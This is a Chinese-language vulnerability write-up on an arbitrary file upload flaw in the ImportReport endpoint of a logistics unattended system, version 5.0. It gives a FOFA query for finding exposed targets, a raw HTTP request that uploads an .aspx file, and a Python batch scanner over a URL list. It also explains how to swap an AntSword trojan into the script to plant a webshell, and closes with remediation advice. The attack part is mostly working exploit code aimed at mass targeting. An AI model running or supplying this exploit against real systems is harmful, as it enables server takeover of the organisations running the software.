免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

一、漏洞名称

易思智能物流无人值守系统文件上传漏洞

二、漏洞影响

易思智能物流无人值守系统5.0

三、漏洞描述

易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。它能够自主完成货物存储、检索、分拣、装载以及配送等物流作业,帮助企业实现无人值守的智能物流运营,提高效率、降低成本,为现代物流行业带来新的发展机遇。易思无人值守智能物流系统/Sys_ReportFile/ImportReport接口处存在文件上传漏洞,攻击者可以通过利用该漏洞获取系统的控制权。

四、资产FOFA搜索语句

"智能物流无人值守系统"

五、漏洞复现

向目标发送如下请求数据包


POST /Sys_ReportFile/ImportReport?encode=abcd HTTP/1.1
Host: your-ip
X-File-Name: test.grf
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryxzUhGld6cusN3Alk
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
 
------WebKitFormBoundaryxzUhGld6cusN3Alk
Content-Disposition: form-data; name="file"; .filename="test.grf;.aspx"
Content-Type: application/octet-stream
 
12345678
------WebKitFormBoundaryxzUhGld6cusN3Alk--

响应数据包如下


HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Sep 2023 11:54:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 18
Connection: close
Cache-Control: private
X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: connect-src *;object-src 'self';media-src 'self';font-src 'self' data: ;script-src 'self' 'unsafe-inline' 'unsafe-eval' https://api.map.baidu.com
X-XSS-Protection: 1;mode=block
Referrer-Policy: origin
X-Permitted-Cross-Domain-Policies: none
X-Download-Options: noopen
Access-Control-Allow-Origin: *

/GRF/Custom/abcd.aspx

其中/GRF/Custom/abcd.aspx为回显文件

访问文件回显路径

http://ip:8083/GRF/Custom/abcd.aspx

看到页面内容包含12345678证明任意文件上传漏洞存在

六、批量漏洞检测poc

该python脚本可以批量检测漏洞,C:\Users\DELL\Desktop\1.txt为输入目标文件,每行是一个url


import argparse
import time
import requests
from urllib.parse import urlsplit
import random
import string

# 读取URL文件,处理url
def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for url in f:
            url = url.replace('\n', '')
            if "http" not in url:
                url = "http://" + url
            parsed_url = urlsplit(url)
            base_url = parsed_url.scheme + "://" + parsed_url.netloc
            send_req(base_url)

# 在文件中记录存在漏洞的url            
def write_result(content):
    f = open("result.txt", "a", encoding="UTF-8")
    f.write('{}\n'.format(content))
    f.close()

# 发送POC数据包请求
def send_req(url_check):
    print('{} runing Check'.format(url_check))
    # 生成一个包含10个随机小写字母的字符串
    random_string = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    random_filename = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    print(random_string)

    url = url_check + '/Sys_ReportFile/ImportReport?encode=' + random_filename
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',
        'X-File-Name':'test.grf',
        'Content-Type':'multipart/form-data; boundary= ----WebKitFormBoundaryxzUhGld6cusN3Alk',
        'Accept':'*/*',
        'Accept-Encoding':'gzip, deflate',
        'Accept-Language':'zh-CN,zh;q=0.9',
        'Connection':'close'
    }

    data = (
        '------WebKitFormBoundaryxzUhGld6cusN3Alk\r\n'
        'Content-Disposition: form-data; name="file"; .filename="test.grf;.aspx"\r\n'
        'Content-Type: application/octet-stream\r\n'
        '\r\n'
        '{}\r\n'
        '------WebKitFormBoundaryxzUhGld6cusN3Alk--\r\n'
    ).format(random_string)
    
    try:
        requests.packages.urllib3.disable_warnings()
        response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3)
        
        # 打印响应数据包
        print("\nResponse:")
        print(f"HTTP/1.1 {response.status_code} {response.reason}")
        for key, value in response.headers.items():
            print(f"{key}: {value}")
        print()
        print(response.text)
        
        # 文件回显路径
        url2 = "{}/GRF/Custom/{}.aspx".format(url_check, random_filename)
        res2 = requests.get(url2, verify=False)

        if response.status_code == 200 and res2.status_code == 200 and random_string in res2.text:
            result = '{} 存在易思智能物流无人值守系统文件上传漏洞! 文件回显:{}\n'.format(url_check, url2)
            print(result)
            write_result(result)
        time.sleep(1)
    except Exception as e:
        print(e)
        pass

if __name__ == '__main__':
    file = r"C:\Users\DELL\Desktop\1.txt"
    get_url(file)

七、漏洞利用exp

使用蚁剑生成木马,复制文本替换上述poc脚本第29行的random_string 变量,运行脚本即可获得webshell

八、漏洞修复

1.输入验证和过滤:对于文件上传功能,始终对用户提供的文件进行严格的输入验证和过滤。确保只允许合法文件类型上传,并拒绝不安全的文件扩展名。使用白名单来限制文件上传的位置,不要允许上传到 Web 根目录或其他敏感目录。防止上传包含特殊字符或恶意代码的文件名。

2.文件类型检查:根据应用程序的需求,限制上传文件的类型,例如,只允许上传图像或文档文件。不要允许上传可执行文件或脚本文件。通过检查文件的魔术数字(Magic Number)或使用文件类型检测库来验证文件的类型。

3.随机文件名:使用随机生成的文件名来保存上传的文件,而不要使用用户提供的文件名。这可以防止攻击者替换或覆盖现有文件。

4.文件权限:设置适当的文件系统权限,确保只有授权用户可以访问上传的文件。通常,文件应该具有只读权限,不应该允许执行。

5.独立的文件存储目录:将上传的文件存储在一个独立的目录中,不要将它们放在Web根目录或与应用程序代码混合的目录中。

6.文件内容验证:在上传文件后,检查文件内容以确保其不包含恶意代码或脚本。

7.访问控制:强化访问控制策略,确保只有授权用户可以上传文件和访问上传的文件。